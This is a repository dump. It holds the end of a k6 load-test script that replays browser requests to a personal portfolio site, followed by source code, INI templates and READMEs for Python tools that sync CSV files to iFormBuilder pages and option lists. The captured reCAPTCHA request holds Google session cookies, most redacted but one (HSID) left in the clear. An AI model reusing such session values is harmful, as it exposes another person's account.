"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"Sec-Fetch-User": "?1",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Sec-Fetch-Site": "none",
"Sec-Fetch-Mode": "navigate",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9"
}
}
},{
"method": "get",
"url": "https://www.christopheradams.com/static/css/2.00eba619.chunk.css",
"params": {
"headers": {
"Host": "www.christopheradams.com",
"Connection": "keep-alive",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"Accept": "text/css,*/*;q=0.1",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "no-cors",
"Referer": "https://www.christopheradams.com/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9"
}
}
},{
"method": "get",
"url": "https://www.christopheradams.com/static/css/main.c36fa167.chunk.css",
"params": {
"headers": {
"Host": "www.christopheradams.com",
"Connection": "keep-alive",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"Accept": "text/css,*/*;q=0.1",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "no-cors",
"Referer": "https://www.christopheradams.com/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9"
}
}
},{
"method": "get",
"url": "https://www.christopheradams.com/static/js/2.e06722f1.chunk.js",
"params": {
"headers": {
"Host": "www.christopheradams.com",
"Connection": "keep-alive",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"Accept": "*/*",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "no-cors",
"Referer": "https://www.christopheradams.com/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9"
}
}
},{
"method": "get",
"url": "https://www.christopheradams.com/static/js/main.4b803aa9.chunk.js",
"params": {
"headers": {
"Host": "www.christopheradams.com",
"Connection": "keep-alive",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"Accept": "*/*",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "no-cors",
"Referer": "https://www.christopheradams.com/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9"
}
}
}];
res = http.batch(req);
sleep(5.36);
req = [{
"method": "get",
"url": "https://www.google.com/recaptcha/api.js",
"params": {
"cookies": {
"HSID": "AAgV2FUaHWEB2q6Sa",
"SSID": "<KEY>",
"APISID": "<KEY>
"SAPISID": "<KEY>",
"__Secure-HSID": "AAgV2FUaHWEB2q6Sa",
"__Secure-SSID": "<KEY>",
"__Secure-APISID": "<KEY>
"__Secure-3PAPISID": "<KEY>",
"OGPC": "19015603-1:",
"SID": "<KEY>tw.",
"__Secure-3PSID": "<KEY>.",
"ANID": "<KEY>",
"UULE": "<KEY>YXR<KEY> <KEY>
"1P_JAR": "2020-1-27-15",
"NID": "<KEY>",
"SIDCC": "<KEY>"
},
"headers": {
"pragma": "no-cache",
"cache-control": "no-cache",
"user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"accept": "*/*",
"x-client-data": "<KEY>
"sec-fetch-site": "cross-site",
"sec-fetch-mode": "no-cors",
"referer": "https://www.christopheradams.com/",
"accept-encoding": "gzip, deflate, br",
"accept-language": "en-US,en;q=0.9"
}
}
},{
"method": "get",
"url": "https://www.christopheradams.com/images/ChristopherAdamswhiteCropped.png",
"params": {
"headers": {
"Host": "www.christopheradams.com",
"Connection": "keep-alive",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"Accept": "image/webp,image/apng,image/*,*/*;q=0.8",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "no-cors",
"Referer": "https://www.christopheradams.com/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9"
}
}
},{
"method": "get",
"url": "https://www.christopheradams.com/images/chrisheadshot.jpg",
"params": {
"headers": {
"Host": "www.christopheradams.com",
"Connection": "keep-alive",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"Accept": "image/webp,image/apng,image/*,*/*;q=0.8",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "no-cors",
"Referer": "https://www.christopheradams.com/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9"
}
}
},{
"method": "get",
"url": "https://www.christopheradams.com/images/amchris.jpg",
"params": {
"headers": {
"Host": "www.christopheradams.com",
"Connection": "keep-alive",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"Accept": "image/webp,image/apng,image/*,*/*;q=0.8",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "no-cors",
"Referer": "https://www.christopheradams.com/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9"
}
}
},{
"method": "get",
"url": "https://www.christopheradams.com/images/dogemoji32px.png",
"params": {
"headers": {
"Host": "www.christopheradams.com",
"Connection": "keep-alive",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"Accept": "image/webp,image/apng,image/*,*/*;q=0.8",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "no-cors",
"Referer": "https://www.christopheradams.com/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9"
}
}
},{
"method": "get",
"url": "https://www.christopheradams.com/images/meetup-wordmark-red.png",
"params": {
"headers": {
"Host": "www.christopheradams.com",
"Connection": "keep-alive",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"Accept": "image/webp,image/apng,image/*,*/*;q=0.8",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "no-cors",
"Referer": "https://www.christopheradams.com/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9"
}
}
},{
"method": "get",
"url": "https://www.christopheradams.com/images/atari2600-256px.png",
"params": {
"headers": {
"Host": "www.christopheradams.com",
"Connection": "keep-alive",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"Accept": "image/webp,image/apng,image/*,*/*;q=0.8",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "no-cors",
"Referer": "https://www.christopheradams.com/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9"
}
}
},{
"method": "get",
"url": "https://www.christopheradams.com/images/logo.svg",
"params": {
"headers": {
"Host": "www.christopheradams.com",
"Connection": "keep-alive",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"Accept": "image/webp,image/apng,image/*,*/*;q=0.8",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "no-cors",
"Referer": "https://www.christopheradams.com/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9"
}
}
},{
"method": "get",
"url": "https://www.christopheradams.com/images/heart.svg",
"params": {
"headers": {
"Host": "www.christopheradams.com",
"Connection": "keep-alive",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"Accept": "image/webp,image/apng,image/*,*/*;q=0.8",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "no-cors",
"Referer": "https://www.christopheradams.com/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9"
}
}
},{
"method": "get",
"url": "https://www.gstatic.com/recaptcha/releases/RDiPdrU_gv1XhhWy6nqfMf9O/recaptcha__en.js",
"params": {
"cookies": {
"1P_JAR": "2020-01-16-18"
},
"headers": {
"pragma": "no-cache",
"cache-control": "no-cache",
"user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"accept": "*/*",
"x-client-data": "CJG2yQEIorbJAQjEtskBCKmdygEIt6rKAQjLrsoBCL2wygEI97TKAQiYtcoBCO21ygEI4bbKARirpMoBGJSyygE=",
"sec-fetch-site": "cross-site",
"sec-fetch-mode": "no-cors",
"referer": "https://www.christopheradams.com/",
"accept-encoding": "gzip, deflate, br",
"accept-language": "en-US,en;q=0.9"
}
}
}];
res = http.batch(req);
sleep(5.21);
req = [{
"method": "get",
"url": "https://www.christopheradams.com/manifest.json",
"params": {
"headers": {
"Host": "www.christopheradams.com",
"Connection": "keep-alive",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"Accept": "*/*",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "cors",
"Referer": "https://www.christopheradams.com/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9"
}
}
},{
"method": "get",
"url": "https://www.christopheradams.com/favicon.ico",
"params": {
"headers": {
"Host": "www.christopheradams.com",
"Connection": "keep-alive",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"Accept": "image/webp,image/apng,image/*,*/*;q=0.8",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "no-cors",
"Referer": "https://www.christopheradams.com/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9"
}
}
}];
res = http.batch(req);
sleep(3.83);
req = [{
"method": "get",
"url": "https://www.christopheradams.com/images/policeExamAppScreenshot.png",
"params": {
"headers": {
"Host": "www.christopheradams.com",
"Connection": "keep-alive",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"Accept": "image/webp,image/apng,image/*,*/*;q=0.8",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "no-cors",
"Referer": "https://www.christopheradams.com/portfolio",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9"
}
}
},{
"method": "get",
"url": "https://www.christopheradams.com/images/oceansmap.png",
"params": {
"headers": {
"Host": "www.christopheradams.com",
"Connection": "keep-alive",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"Accept": "image/webp,image/apng,image/*,*/*;q=0.8",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "no-cors",
"Referer": "https://www.christopheradams.com/portfolio",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9"
}
}
},{
"method": "get",
"url": "https://www.christopheradams.com/images/rpslogo.png",
"params": {
"headers": {
"Host": "www.christopheradams.com",
"Connection": "keep-alive",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"Accept": "image/webp,image/apng,image/*,*/*;q=0.8",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "no-cors",
"Referer": "https://www.christopheradams.com/portfolio",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9"
}
}
},{
"method": "get",
"url": "https://www.christopheradams.com/images/spacexgraphql.png",
"params": {
"headers": {
"Host": "www.christopheradams.com",
"Connection": "keep-alive",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"Accept": "image/webp,image/apng,image/*,*/*;q=0.8",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "no-cors",
"Referer": "https://www.christopheradams.com/portfolio",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9"
}
}
}];
res = http.batch(req);
sleep(17.63);
req = [{
"method": "get",
"url": "https://www.christopheradams.com/images/resume1.png",
"params": {
"headers": {
"Host": "www.christopheradams.com",
"Connection": "keep-alive",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"Accept": "image/webp,image/apng,image/*,*/*;q=0.8",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "no-cors",
"Referer": "https://www.christopheradams.com/resume",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9"
}
}
},{
"method": "get",
"url": "https://www.christopheradams.com/images/resume2.png",
"params": {
"headers": {
"Host": "www.christopheradams.com",
"Connection": "keep-alive",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"Accept": "image/webp,image/apng,image/*,*/*;q=0.8",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "no-cors",
"Referer": "https://www.christopheradams.com/resume",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9"
}
}
}];
res = http.batch(req);
// Random sleep between 20s and 40s
sleep(Math.floor(Math.random()*20+20));
});
}
| 6b5cc04e2e15653bc01dd24533082bbe5ec27b11 | [
"Markdown",
"JavaScript"
] | 2 | Markdown | gitchrisadams/k6-performance-testing-example | a9c49acf497e1f0d33a30669baf58b8b492a0f2d | b8a160196fc8d410e0635e2d53966e8b7379cdd0 |
refs/heads/main | <file_sep>[API]
; Server name
server_name: your_server_name_here
; Profile ID
profile_id: your_profile_id_here
; IFB API Key
ifb_key: your_api_key_here
; IFB API Secret
ifb_secret: your_api_secret_here
[List]
; Filename of input CSV
csv_in: example.csv
; Update
update: True
<file_sep>#-------------------------------------------------------------------------------
# Name: ifb_form_syncer
# Purpose: Syncs an input CSV to iFormBuilder page for use in lookup tables.
#
# Author: <NAME>, Maine Department of Marine Resources
#
# Created: 09/22/2020
# Copyright: (c) <NAME> 2020
# License: MIT
#-------------------------------------------------------------------------------
from ifb import IFB
import configparser
import pandas as pd
import os
import sys
import math
print()
print("-----------------------------------------------------------------------")
print("iFormBuilder Option List Syncer")
print("Created by <NAME>, 2020. Distributed under MIT License")
print("For questions, see the included documentation.")
print("Contact: <EMAIL> or <EMAIL>")
print("-----------------------------------------------------------------------")
print()
# Get current directory from command line
try:
cur_dir = sys.argv[1]
#cur_dir = os.path.dirname(__file__)
except:
sys.exit(("The program directory was either not provided or does not exist."
"Please provide program directory as command line argument."))
if os.path.exists(cur_dir):
print("Running from directory: %s" % (os.path.basename(cur_dir)))
else:
sys.exit(("The program directory was either not provided or does not exist."
"Please provide program directory as command line argument."))
try:
config_fn = sys.argv[2]
#config_fn = 'settings.ini'
except:
config_fn = "config.ini"
print("Config file name not provided, defaulting to config.ini...")
# Class handler to parse INI file
class settings():
def __init__(self):
configfile = os.path.join(cur_dir, config_fn)
if os.path.exists(configfile) != True:
sys.exit(("Configuration file could not be found. "
"File must be located in same directory as program."))
# Read INI file
config = configparser.ConfigParser()
config.read(configfile)
## API Options
# Server Name
try:
self.server_name = config.get("API", "server_name")
except Exception as e:
print(e)
sys.exit("INI file is missing server_name option.")
# Profile ID
try:
self.profile_id = config.getint("API", "profile_id")
except:
sys.exit("INI file is missing profile_id option.")
# IFB API Key
try:
self.ifb_key = config.get("API", "ifb_key")
except:
sys.exit("INI file is missing ifb_key option.")
# IFB API Secret
try:
self.ifb_secret = config.get("API", "ifb_secret")
except:
sys.exit("INI file is missing ifb_secret option.")
## Parse List options
# CSV file name
try:
self.csv_in = config.get("List", "csv_in")
if os.path.exists(os.path.join(cur_dir, self.csv_in)) != True:
sys.exit(("Input CSV file could not be found. "
"File must be located in same directory as program."))
except Exception as e:
sys.exit("INI file is missing csv_in option.")
# Update options
try:
self.update = config.getboolean("List", "update")
except:
self.update = True
print("INI file is missing valid update option, defaulting to True...")
# Loads CSV to Pandas dataframe
def load_csv(csv_in):
# Read CSV
df = pd.read_csv(os.path.join(cur_dir, csv_in), na_filter = False)
# All columns to string
df = df.astype(str)
# Check that column names are correct
req_cols = ['name', 'key_value', 'label', 'sort_order', 'condition_value']
missing = [col for col in req_cols if col not in df.columns]
if (len(missing) > 0):
sys.exit("ERROR: Input CSV is missing one or more required columns:")
for m in missing:
print(" %s" % m)
# Format option list names and key values
df['name'] = df['name'].str.strip().str.lower().str.replace(' ', '_').str.extract('(\w+)', expand = False)
df['key_value'] = df['key_value'].str.strip().str.replace(' ', '_').str.extract('(\w+)', expand = False)
return df
# Sends new options to IFB
def send_options(options, option_list_id, api, settings):
# Organize options df into list of dicts
body = list()
for index, row in options.iterrows():
body.append({'key_value': row['key_value'], 'label': row['label'],
'sort_order': row['sort_order'], 'condition_value': row['condition_value']})
api.createOptions(settings.profile_id, option_list_id, body)
# Retrieves options from option list as pandas df
def retrieve_options(option_list_id, api, settings):
## Get options from API
# List of fields for options needed, collapse to comma sep list for grammar
flds = ['id', 'key_value', 'label', 'sort_order', 'condition_value']
flds_str = ','.join([str(fld) for fld in flds])
options = api.readAllOptions(settings.profile_id, option_list_id, grammar = flds_str)
# Blank dictionary
df_dict = {}
# For option field, make a list of all the data for that field and append to dict
for fld in flds:
df_dict[fld] = [option[fld] for option in options]
# Make dict df
df = pd.DataFrame.from_dict(df_dict)
# Replace NAs
df = df.fillna('')
return df
# Updates options from input options as pandas df
def send_update(options, option_list_id, api, settings):
# Organize options df into list of dicts
body = list()
for index, row in options.iterrows():
body.append({'id': row['id'], 'key_value': row['key_value'], 'label': row['label'],
'sort_order': row['sort_order'], 'condition_value': row['condition_value']})
# Submit update
api.updateOptions(settings.profile_id, option_list_id, body)
# Main program
def main():
# Counter for total API calls used
calls = 0
# Parse INI file
print("Parsing INI...")
global s
s = settings()
# Get token for IFB API
print("Connecting to iFormBuilder API...")
try:
api = IFB(s.server_name + ".iformbuilder.com", s.ifb_key, s.ifb_secret)
except:
sys.exit(("ERROR: Could not connect to the IFB API. This is likely due to"
"invalid credentials or no internet connection."))
calls += 1
# Get all the option lists in the profile
print("Retrieving all option lists in profile...")
all_lists = api.readAllOptionLists(s.profile_id)
all_names = [op['name'] for op in all_lists]
all_ids = [op['id'] for op in all_lists]
calls += math.floor(len(all_lists) / 100)
# Load CSV file
print("Loading CSV file %s" % (s.csv_in))
df = load_csv(s.csv_in)
# For each unique list names
for op_list in sorted(set(df['name'].tolist())):
# Subset option list data
op_df = df[df['name'] == op_list]
# Check that all keys are unique
if len(op_df['key_value'].tolist()) != len(set(op_df['key_value'].tolist())):
print(" ERROR: Option list %s contains duplicate key values, skipping..." % op_list)
continue
# Check that all sort orders are unique
if len(op_df['sort_order'].tolist()) != len(set(op_df['sort_order'].tolist())):
print(" ERROR: Option list %s contains duplicate sort order values, skipping..." % op_list)
continue
# Check if option list name already exists in profile
if op_list in all_names:
# Get the ID
op_list_id = all_ids[all_names.index(op_list)]
# Retrieve options, add _cur suffix
cur_ops = retrieve_options(op_list_id, api, s).add_suffix('_cur')
calls += math.floor(len(cur_ops.index) / 1000)
## Append new options
append_df = op_df[~op_df['key_value'].isin(cur_ops['key_value_cur'].tolist())]
if len(append_df.index) > 0:
print(" Appending %s new options to list %s..." % (len(append_df.index), op_list))
send_options(options = append_df, option_list_id = op_list_id, api = api, settings = s)
calls += math.floor(len(append_df.index) / 1000)
## Update options
if s.update:
op_joined = pd.merge(op_df, cur_ops, left_on = 'key_value', right_on = 'key_value_cur')
# Filter where cols not equal to find options to update
diff_q = ('label != label_cur or sort_order != sort_order_cur'
' or condition_value != condition_value_cur')
update_df = (op_joined
.astype(str)
.query(diff_q)
.filter(['id_cur', 'key_value', 'label', 'sort_order', 'condition_value'])
.rename(columns = {'id_cur': 'id'}))
# If any rows send update
if len(update_df.index) > 0:
print(" Updating %s options in list %s..." % (len(update_df.index), op_list))
send_update(options = update_df, option_list_id = op_list_id, api = api, settings = s)
calls += math.floor(len(update_df.index) / 1000)
else:
# Create new option list
print(" Creating new option list %s..." % op_list)
op_list_id = api.createOptionList(s.profile_id, body = {'name': op_list})['id']
# Check valid option list id
if op_list_id == 0:
print(" ERROR: Option list %s could not be created, skipping..." % op_list)
continue
# Push all options as new
send_options(options = op_df, option_list_id = op_list_id, api = api, settings = s)
calls += math.floor(len(op_df.index) / 1000)
# Complete
print("Syncing complete. Syncing used %s API calls." % calls)
if __name__ == '__main__':
main()
<file_sep>## Introduction
These programs provide a simple way to sync the contents of a CSV file with an iFormBuilder page or iFormBuilder option lists. The intended use case is updating and creating lookup tables and option lists. While the iFormBuilder website provides a GUI for uploading CSV files to forms, the only automated way to sync lookup tables is through the iFormBuilder API. To date, a number of wrappers have been created around the iFormBuilder API, such as:
- [ifb-wrapper](https://github.com/jhsu98/ifb-wrapper) by <NAME> of Zerion Software provides a Python interface. This wrapper is used by this program.
- [iformr](https://github.com/bdevoe/iformr) by <NAME> and <NAME> provides an R interface, including functions for syncing forms and option lists.
However, all of these options require some ability in a given program language and also have dependencies that must be installed. As such, this project aims to package form and option list syncing procedures as stand-alone binaries for ease of use.
`ifb_syncer` is written in Python 3.7 and complied with PyInstaller.
## License
This program is distributed freely under an MIT license by <NAME>.
## Directory contents
- [form_syncer](./form_syncer) - Directory containing `form_syncer` source code, executable, and examples.
- [option_list_syncer](./option_list_syncer) - Directory containing `option_list_syncer` source code, executable, and examples.
## Usage
See:
- [form_syncer README](./form_syncer/README.md) for form_syncer usage.
- [option_list_syncer README](./option_list_syncer/README.md) for option_list_syncer usage.<file_sep>## Introduction
The program provides a simple way to sync the contents of a CSV file with an iFormBuilder page. The intended use case is updating and creating lookup tables. While the iFormBuilder website provides a GUI for uploading CSV files to forms, the only automated way to sync lookup tables is through the iFormBuilder API. To date, a number of wrappers have been created around the iFormBuilder API, such as:
- [ifb-wrapper](https://github.com/jhsu98/ifb-wrapper) by <NAME> of Zerion Software provides a Python interface. This wrapper is used by this program.
- [iformr](https://github.com/bdevoe/iformr) by <NAME> and <NAME> provides an R interface, including functions for syncing forms and option lists.
However, all of these options require some ability in a given program language and also have dependencies that must be installed. As such, this project aims to package a form syncing procedure as a stand-alone binary for ease of use.
## License
This program is distributed freely under an MIT license by <NAME>.
## Directory contents
- `ifb_form_syncer.exe` - Windows executable, compiled using PyInstaller for Windows 10 x64.
- `ifb_form_syncer.py` - source code in Python 3.7.
- `settings.ini` - example configuration file, using all settings.
- `ifb_form_syncer.bat` - An example batch file used to call the program.
- `README.md` - This file; documentation in Markdown format.
## Usage
### Overview
The form name provided in the INI file should not be present in iFormBuilder the first time the program is run for a given form.
During the first sync, the program will create the form name provided in the settings file and populate it with the fields from the input CSV file. The elements created in the new page will all be text elements, as is best practice for lookup tables. The element length will be set by the `field_length` setting in the INI file. Data in the input CSV longer than this value will be truncated.
On subsequent syncs, the created form will be synced with the input CSV using one of two methods:
- The data in the source form is entirely deleted and overwritten with the new data. This is a good option for sporadic updates to a lookup table with completely different values. An example use case would be updating a lookup table with sample stations for a new season of field work, where the column names were the same but mostly new stations were being used. This option can be a poor choice for automatically scheduled updates, as it uses considerably more API calls.
- The second option uses a provided unique identifier column to compare the CSV file data with the data currently in the iFormBuilder page and appends new data to iFormBuilder. It also optionally updates data already in iFormBuilder where the incoming data has different values for any field. Data in iFormBuilder not present in the incoming data can also be optionally deleted. This option is best used for recurring automatic updates. An example use case would be updating a lookup table of license holders from a CSV exported from an internal database nightly.
In both cases, if column names exist in the input CSV that do not have a match in the existing iFormBuilder form, a warning will be produced indicating that those fields will not be loaded.
### Input CSV file
The input CSV file containing data to sync with iFormBuilder should ideally contain column names formatted for use in iFormBuilder - no whitespace, punctuation, and all lowercase. The program will attempt to reformat column names not meeting this criteria. Column names that are reserved words in iFormBuilder will be detected and will produce an error. The reserved field names will be returned to the console by the program. For a list of iFormBuilder reserved words, see [here](https://iformbuilder.zendesk.com/hc/en-us/articles/201698530-Reserved-Words-What-words-cannot-be-used-as-data-column-names-)
### Configuration file
The program is controlled by an external INI configuration file. The example `settings.ini` file includes comments for each of these options.
### Program execution
The executable file `ifb_form_syncer.exe` requires two command line arguments:
1 - The directory containing the input INI file.
2 - The filename of the input INI file.
The included batch file `ifb_form_syncer.BAT` demonstrates how to call the executable, using the `%CD%` variable to dynamically retrieve the current program directory. A `pause` statement is also included to prevent the console window from closing, allowing the viewer to observe the program feedback. If placing this batch file on Task Scheduler, removing the `pause` statement is recommended. Using a batch file also allows the program to be called multiple times to sync various forms using different INI inputs.
## API Consumption
The number of API calls used by this program is as follows:
- Each time the program runs:
- 1 call to generate an API access token.
- 1 call to get a list of all pages in the profile.
- 1 call to get a list of fields in the page.
- If the program needs to create a new page:
- 1 call to create a new page.
- 1 call to add elements to the page.
- If no unique ID column (overwriting the entire page):
- 1 call to delete all records from the page.
- 1 call per 1000 records appended to the page.
- Else if using unique ID column:
- 1 call per 1000 records appended to the page.
- 1 call per 1000 records updated on the page.
- 1 call per record deleted.
The number of API calls used is reported in the console each time the program runs.<file_sep>[API]
; Server name
server_name: your_server_name_here
; Profile ID
profile_id: your_profile_id_here
; IFB API Key
ifb_key: your_api_key_here
; IFB API Secret
ifb_secret: your_api_secret_here
[Form]
; Filename of input CSV
csv_in: my_data.csv
; Destination form name - lowercase, no whitespace, no special characters
form_name: my_data_s
; Destination form label
form_label: Test Sync Form
; Length of fields when form is created; fields in the input CSV containing data longer than this will be truncated prior to upload
field_length: 10
; Optional inputs, delete if not using
; Unique identifier column name, if using comparison of source data to IFB data
uid_col = my_id
; True/False, should records already in iFormBuilder be updated?
update = True
; True/False, should records in iFormBuilder not in the source data be deleted?
delete = True
<file_sep>## Introduction
The program provides a simple way to sync multiple option lists contained in a CSV file with an iFormBuilder profile. The intended use case is creating and updating option lists programmatically. While the iFormBuilder website provides a GUI for uploading CSV files to option lists, the only automated way to sync option lists is through the iFormBuilder API. To date, a number of wrappers have been created around the iFormBuilder API, such as:
- [ifb-wrapper](https://github.com/jhsu98/ifb-wrapper) by <NAME> of Zerion Software provides a Python interface. This wrapper is used by this program.
- [iformr](https://github.com/bdevoe/iformr) by <NAME> and <NAME> provides an R interface, including functions for syncing forms and option lists.
However, all of these options require some ability in a given program language and also have dependencies that must be installed. As such, this project aims to package a option list syncing procedure as a stand-alone binary for ease of use.
## License
This program is distributed freely under an MIT license by <NAME>.
## Directory contents
- `ifb_list_syncer.exe` - Windows executable, compiled using PyInstaller for Windows 10 x64.
- `ifb_list_syncer.py` - source code in Python 3.7.
- `settings.ini` - example configuration file, using all settings.
- `ifb_list_syncer.bat` - An example batch file used to call the program.
- `README.md` - This file; documentation in Markdown format.
## Usage
### Overview
The input CSV file contains one or more option lists. Each option list is created if it does not yet exist. Options not present in the destination option list are added. Options already in the option list based on a matching `key_value` are updated if any of the other attributes (`label`, `sort_order`, or `condition_value`) are different in the source CSV.
No delete option is provided, as deleting options could adversely impact existing data. It is recommended that options no longer needed are disabled by setting the `condition_value` to `false` (or any statement that does not evaluate as `true`).
### Input CSV file
The input CSV file containing one or more option lists must contain the following fields:
- `name` - The name for each option list; this will repeat for each option within the list.
- `key_value` - The key value of each option within the list. These values must be unique for each unique `name`, or an error will be produced. Key values should contain no whitespace or special characters. The program will attempt to reformat any key values meeting this criteria.
- `label` - The label for each option.
